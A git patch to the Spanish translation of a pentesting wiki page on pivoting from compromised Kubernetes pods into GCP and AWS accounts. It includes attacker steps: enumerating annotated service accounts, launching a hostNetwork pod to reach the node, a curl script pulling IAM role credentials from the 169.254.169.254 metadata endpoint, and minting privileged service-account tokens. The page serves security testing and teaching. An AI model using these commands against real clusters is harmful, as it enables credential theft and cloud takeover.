From 3cabbfed7a910a2911cc61bfdb9cc28a2fd9480c Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 28 Aug 2025 18:01:09 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/kubernetes-security/kubernetes-piv --- .../kubernetes-pivoting-to-clouds.md | 126 ++++++++++-------- 1 file changed, 73 insertions(+), 53 deletions(-) diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md index 5e1f9e9bb..44449c0bc 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md @@ -4,62 +4,62 @@ ## GCP -Si estás ejecutando un clúster de k8s dentro de GCP, probablemente querrás que alguna aplicación que se ejecute dentro del clúster tenga acceso a GCP. Hay 2 formas comunes de hacerlo: +Si estás ejecutando un cluster k8s dentro de GCP probablemente querrás que alguna aplicación que se ejecute dentro del cluster tenga acceso a GCP. Hay 2 formas comunes de hacerlo: -### Montando claves de GCP-SA como secreto +### Mounting GCP-SA keys as secret Una forma común de dar **acceso a una aplicación de kubernetes a GCP** es: -- Crear una Cuenta de Servicio de GCP +- Crear un GCP Service Account - Asignarle los permisos deseados -- Descargar una clave json de la SA creada -- Montarla como un secreto dentro del pod -- Establecer la variable de entorno GOOGLE_APPLICATION_CREDENTIALS apuntando a la ruta donde se encuentra el json. +- Descargar una json key de la SA creada +- Montarla como un secret dentro del pod +- Configurar la variable de entorno GOOGLE_APPLICATION_CREDENTIALS apuntando a la ruta donde está el json. > [!WARNING] -> Por lo tanto, como **atacante**, si comprometes un contenedor dentro de un pod, deberías verificar esa **variable** **env** y los **archivos** **json** con credenciales de GCP. +> Por lo tanto, como **attacker**, si comprometes un contenedor dentro de un pod, deberías comprobar esa **env** **variable** y **json** **files** con credenciales de GCP. -### Relacionando json de GSA a secreto de KSA +### Relating GSA json to KSA secret -Una forma de dar acceso a un GSA a un clúster de GKE es vinculándolos de esta manera: +Una manera de dar acceso a una GSA a un clúster GKE es vinculándolas de esta manera: -- Crear una cuenta de servicio de Kubernetes en el mismo namespace que tu clúster de GKE usando el siguiente comando: +- Create a Kubernetes service account in the same namespace as your GKE cluster using the following command: ```bash -Copy codekubectl create serviceaccount +kubectl create serviceaccount ``` -- Crea un Kubernetes Secret que contenga las credenciales de la cuenta de servicio de GCP a la que deseas otorgar acceso al clúster de GKE. Puedes hacer esto utilizando la herramienta de línea de comandos `gcloud`, como se muestra en el siguiente ejemplo: +- Crea un Kubernetes Secret que contenga las credenciales del service account de GCP al que quieres conceder acceso al GKE cluster. Puedes hacerlo usando la herramienta de línea de comandos `gcloud`, como se muestra en el siguiente ejemplo: ```bash -Copy codegcloud iam service-accounts keys create .json \ +gcloud iam service-accounts keys create .json \ --iam-account kubectl create secret generic \ --from-file=key.json=.json ``` -- Vincula el Secret de Kubernetes a la cuenta de servicio de Kubernetes utilizando el siguiente comando: +- Vincula el Kubernetes Secret a la Kubernetes service account usando el siguiente comando: ```bash -Copy codekubectl annotate serviceaccount \ +kubectl annotate serviceaccount \ iam.gke.io/gcp-service-account= ``` > [!WARNING] -> En el **segundo paso** se configuraron las **credenciales de la GSA como secreto de la KSA**. Entonces, si puedes **leer ese secreto** desde **dentro** del **clúster GKE**, puedes **escalar a esa cuenta de servicio de GCP**. +> En el **segundo paso** se configuraron las **credenciales del GSA como secret del KSA**. Entonces, si puedes **leer ese secret** desde **dentro** del **cluster GKE**, puedes **escalar a esa cuenta de servicio GCP**. -### Identidad de Carga de Trabajo de GKE +### GKE Workload Identity -Con la Identidad de Carga de Trabajo, podemos configurar una [cuenta de servicio de Kubernetes](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) para actuar como una [cuenta de servicio de Google](https://cloud.google.com/iam/docs/understanding-service-accounts). Los pods que se ejecutan con la cuenta de servicio de Kubernetes se autenticarán automáticamente como la cuenta de servicio de Google al acceder a las API de Google Cloud. +Con Workload Identity, podemos configurar un [Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) para actuar como un [Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Los pods que se ejecuten con la Kubernetes service account se autenticarán automáticamente como la Google service account al acceder a Google Cloud APIs. -La **primera serie de pasos** para habilitar este comportamiento es **habilitar la Identidad de Carga de Trabajo en GCP** ([**pasos**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) y crear la SA de GCP que deseas que k8s impersonifique. +Los **primeros pasos** para habilitar este comportamiento son **habilitar Workload Identity en GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) y crear la GCP SA que quieras que k8s suplante. -- **Habilitar la Identidad de Carga de Trabajo** en un nuevo clúster +- **Habilitar Workload Identity** en un nuevo cluster ```bash gcloud container clusters update \ --region=us-central1 \ --workload-pool=.svc.id.goog ``` -- **Crear/Actualizar un nuevo grupo de nodos** (los clústeres Autopilot no necesitan esto) +- **Crear/Actualizar un nuevo nodepool** (los Autopilot clusters no necesitan esto) ```bash # You could update instead of create gcloud container node-pools create --cluster= --workload-metadata=GKE_METADATA --region=us-central1 ``` -- Crea la **Cuenta de Servicio de GCP para suplantar** desde K8s con permisos de GCP: +- Crear la **GCP Service Account para suplantar** desde K8s con permisos de GCP: ```bash # Create SA called "gsa2ksa" gcloud iam service-accounts create gsa2ksa --project= @@ -69,7 +69,7 @@ gcloud projects add-iam-policy-binding \ --member "serviceAccount:gsa2ksa@.iam.gserviceaccount.com" \ --role "roles/iam.securityReviewer" ``` -- **Conéctese** al **clúster** y **cree** la **cuenta de servicio** para usar +- **Conéctate** al **cluster** y **crea** la **service account** a usar ```bash # Get k8s creds gcloud container clusters get-credentials --region=us-central1 @@ -92,7 +92,7 @@ kubectl annotate serviceaccount ksa2gcp \ --namespace testing \ iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com ``` -- Ejecuta un **pod** con el **KSA** y verifica el **acceso** a **GSA:** +- Ejecuta un **pod** con la **KSA** y comprueba el **acceso** a la **GSA:** ```bash # If using Autopilot remove the nodeSelector stuff! echo "apiVersion: v1 @@ -118,15 +118,15 @@ kubectl exec -it workload-identity-test \ curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email gcloud auth list ``` -Verifica el siguiente comando para autenticarte en caso de ser necesario: +Comprueba el siguiente comando para autenticarte si es necesario: ```bash gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json ``` > [!WARNING] -> Como atacante dentro de K8s, deberías **buscar SAs** con la **anotación `iam.gke.io/gcp-service-account`** ya que eso indica que la SA puede acceder a algo en GCP. Otra opción sería intentar abusar de cada KSA en el clúster y verificar si tiene acceso.\ -> Desde GCP siempre es interesante enumerar los bindings y saber **qué acceso estás otorgando a las SAs dentro de Kubernetes**. +> Como atacante dentro de K8s deberías **buscar SAs** con la **`iam.gke.io/gcp-service-account` anotación** ya que eso indica que el SA puede acceder a algo en GCP. Otra opción sería intentar abusar de cada KSA en el cluster y comprobar si tiene acceso.\ +> Desde GCP siempre es interesante enumerar los bindings y saber **qué acceso les estás dando a los SAs dentro de Kubernetes**. -Este es un script para **iterar fácilmente sobre todas las definiciones de pods** **buscando** esa **anotación**: +Este es un script para iterar fácilmente sobre todas las definiciones de pods buscando esa anotación: ```bash for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do @@ -139,11 +139,11 @@ done | grep -B 1 "gcp-service-account" ``` ## AWS -### Kiam & Kube2IAM (rol IAM para Pods) +### Kiam & Kube2IAM (IAM role for Pods) -Una forma (desactualizada) de dar roles IAM a los Pods es usar un [**Kiam**](https://github.com/uswitch/kiam) o un [**Kube2IAM**](https://github.com/jtblin/kube2iam) **servidor.** Básicamente, necesitarás ejecutar un **daemonset** en tu clúster con un **tipo de rol IAM privilegiado**. Este daemonset será el que dará acceso a los roles IAM a los pods que lo necesiten. +Una forma (obsoleta) de dar IAM Roles a los Pods es usar un [**Kiam**](https://github.com/uswitch/kiam) o un [**Kube2IAM**](https://github.com/jtblin/kube2iam) **servidor.** Básicamente necesitarás ejecutar un **daemonset** en tu clúster con un **rol IAM privilegiado**. Este daemonset será el que otorgue acceso a IAM roles a los pods que lo necesiten. -Primero que nada, necesitas configurar **qué roles pueden ser accedidos dentro del namespace**, y lo haces con una anotación dentro del objeto namespace: +Primero debes configurar **qué roles pueden ser accedidos dentro del namespace**, y eso se hace con una anotación dentro del objeto namespace: ```yaml:Kiam kind: Namespace metadata: @@ -161,7 +161,7 @@ iam.amazonaws.com/allowed-roles: | ["role-arn"] name: default ``` -Una vez que el namespace está configurado con los roles de IAM que los Pods pueden tener, puedes **indicar el rol que deseas en cada definición de pod con algo como**: +Una vez que el namespace esté configurado con los IAM roles que los Pods pueden tener, puedes **indicar el role que quieres en cada definición de pod con algo como**: ```yaml:Kiam & Kube2iam kind: Pod metadata: @@ -171,12 +171,12 @@ annotations: iam.amazonaws.com/role: reportingdb-reader ``` > [!WARNING] -> Como atacante, si **encuentras estas anotaciones** en pods o namespaces o un servidor kiam/kube2iam en ejecución (probablemente en kube-system) puedes **suplantar cada r**ol que ya está **usado por pods** y más (si tienes acceso a la cuenta de AWS, enumera los roles). +> Como atacante, si **encuentras estas anotaciones** en pods o namespaces o un servidor kiam/kube2iam en ejecución (probablemente en kube-system) puedes **suplantar cada r**ol que ya está **usado por los pods** y más (si tienes acceso a la cuenta de AWS, enumera los roles). -#### Crear Pod con Rol IAM +#### Create Pod with IAM Role > [!NOTE] -> El rol IAM que se debe indicar debe estar en la misma cuenta de AWS que el rol kiam/kube2iam y ese rol debe poder acceder a él. +> El IAM role que se indique debe estar en la misma cuenta de AWS que el role de kiam/kube2iam y ese role debe poder acceder a él. ```yaml echo 'apiVersion: v1 kind: Pod @@ -192,14 +192,14 @@ image: alpine command: ["/bin/sh"] args: ["-c", "sleep 100000"]' | kubectl apply -f - ``` -### IAM Role para Cuentas de Servicio K8s a través de OIDC +### IAM Role for K8s Service Accounts via OIDC -Esta es la **manera recomendada por AWS**. +Esta es la **forma recomendada por AWS**. -1. Primero que nada, necesitas [crear un proveedor OIDC para el clúster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html). -2. Luego, creas un rol IAM con los permisos que la SA requerirá. -3. Crea una [relación de confianza entre el rol IAM y la SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) nombre (o los namespaces que dan acceso al rol a todas las SAs del namespace). _La relación de confianza principalmente verificará el nombre del proveedor OIDC, el nombre del namespace y el nombre de la SA_. -4. Finalmente, **crea una SA con una anotación que indique el ARN del rol**, y los pods que se ejecuten con esa SA tendrán **acceso al token del rol**. El **token** está **escrito** dentro de un archivo y la ruta se especifica en **`AWS_WEB_IDENTITY_TOKEN_FILE`** (predeterminado: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`) +1. Primero necesitas [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html). +2. Luego creas un IAM role con los permisos que la SA requerirá. +3. Crea una [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) (o con los namespaces para dar acceso al role a todas las SAs del namespace). _La trust relationship comprobará principalmente el nombre del proveedor OIDC, el nombre del namespace y el nombre de la SA_. +4. Finalmente, **create a SA with an annotation indicating the ARN of the role**, y los pods que se ejecuten con esa SA tendrán **access to the token of the role**. El **token** está **written** dentro de un archivo y la ruta se especifica en **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`) ```bash # Create a service account with a role cat >my-service-account.yaml < [!WARNING] -> Como atacante, si puedes enumerar un clúster de K8s, verifica las **cuentas de servicio con esa anotación** para **escalar a AWS**. Para hacerlo, simplemente **exec/create** un **pod** utilizando una de las **cuentas de servicio privilegiadas** de IAM y roba el token. +> Como atacante, si puedes enumerar un cluster K8s, busca **service accounts con esa anotación** para **escalar a AWS**. Para hacerlo, simplemente **exec/create** un **pod** usando una de las IAM **privileged service accounts** y roba el token. > -> Además, si estás dentro de un pod, verifica las variables de entorno como **AWS_ROLE_ARN** y **AWS_WEB_IDENTITY_TOKEN.** +> Además, si estás dentro de un pod, revisa variables de entorno como **AWS_ROLE_ARN** y **AWS_WEB_IDENTITY_TOKEN.** > [!CAUTION] -> A veces, la **Política de Confianza de un rol** puede estar **mal configurada** y en lugar de dar acceso a AssumeRole a la cuenta de servicio esperada, se lo da a **todas las cuentas de servicio**. Por lo tanto, si puedes escribir una anotación en una cuenta de servicio controlada, puedes acceder al rol. +> A veces la **Trust Policy de un role** puede estar **mal configurada** y, en lugar de dar acceso AssumeRole a la service account esperada, lo da a **todas las service accounts**. Por lo tanto, si eres capaz de escribir una anotación en una service account que controlas, puedes acceder al role. > > Consulta la **siguiente página para más información**: @@ -234,9 +234,9 @@ aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/ ../aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}} -### Encontrar Pods y Cuentas de Servicio con Roles de IAM en el Clúster +### Find Pods a SAs with IAM Roles in the Cluster -Este es un script para **iterar fácilmente sobre todos los pods y definiciones de cuentas de servicio** **buscando** esa **anotación**: +Este es un script para iterar fácilmente sobre todas las definiciones de **pods** y **sas** buscando esa **anotación**: ```bash for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do @@ -253,19 +253,26 @@ echo "" done done | grep -B 1 "amazonaws.com" ``` -### Node IAM Role +### De IAM Role del Node a cluster-admin -La sección anterior trataba sobre cómo robar roles de IAM con pods, pero ten en cuenta que un **Node del** clúster K8s va a ser una **instancia dentro de la nube**. Esto significa que es muy probable que el Node **tenga un nuevo rol de IAM que puedes robar** (_ten en cuenta que generalmente todos los nodos de un clúster K8s tendrán el mismo rol de IAM, por lo que puede que no valga la pena intentar verificar en cada nodo_). +La sección previa trataba sobre cómo robar IAM Roles con pods, pero ten en cuenta que un **Node of the** K8s cluster va a ser una **instancia inside the cloud**. Esto significa que es muy probable que el Node **tenga un IAM role que puedas robar** (_nota: normalmente todos los nodes de un K8s cluster tendrán el mismo IAM role, por lo que puede no valer la pena intentar comprobar cada node_). -Sin embargo, hay un requisito importante para acceder al endpoint de metadatos desde el nodo, necesitas estar en el nodo (¿sesión ssh?) o al menos tener la misma red: +Para acceder al node metadata endpoint necesitas: +- Estar en un pod y que el metadata endpoint esté configurado a al menos 2 tcp hops. Esta es la misconfiguración más común, ya que generalmente diferentes pods en el cluster requerirán acceso al metadata endpoint para no romperse y varias compañías simplemente deciden permitir acceso al metadata endpoint desde todos los pods del cluster. +- Estar en un pod con `hostNetwork` enabled. +- Escapar al node y acceder al metadata endpoint directamente. + +(Nota: el metadata endpoint está en 169.254.169.254 como siempre). + +Para **escapar al node** puedes usar el siguiente comando para ejecutar un pod con `hostNetwork` enabled: ```bash kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}' ``` -### Robar el Token del Rol IAM +### Steal IAM Role Token -Anteriormente hemos discutido cómo **adjuntar Roles IAM a Pods** o incluso cómo **escapar al Nodo para robar el Rol IAM** que la instancia tiene adjunto. +Anteriormente hemos discutido cómo **attach IAM Roles to Pods** o incluso cómo **escape to the Node to steal the IAM Role** que la instancia tiene asignada. -Puedes usar el siguiente script para **robar** tus nuevas y arduamente trabajadas **credenciales del rol IAM**: +Puedes usar el siguiente script para **steal** tus nuevas **IAM role credentials** ganadas con esfuerzo: ```bash IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null) if [ "$IAM_ROLE_NAME" ]; then @@ -276,6 +283,19 @@ curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE fi fi ``` +### Privesc to cluster-admin + +En resumen: si es posible **acceder al EKS Node IAM role** desde un pod, es posible **comprometer todo el kubernetes cluster**. + +Para más información consulta [this post](https://blog.calif.io/p/privilege-escalation-in-eks). Como resumen, el IAM EKS role por defecto que se asigna a los EKS nodes se mapea al rol `system:node` dentro del cluster. Este role es muy interesante, aunque está limitado por las [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction) de kubernetes. + +Sin embargo, el node siempre puede **generar tokens para service accounts** que estén ejecutándose en pods dentro del node. Por lo tanto, si el node está ejecutando un pod con una privileged service account, el node puede generar un token para esa service account y usarlo para impersonate la service account como en: +```bash +kubectl --context=node1 create token -n ns1 sa-priv \ +--bound-object-kind=Pod \ +--bound-object-name=pod-priv \ +--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d +``` ## Referencias - [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)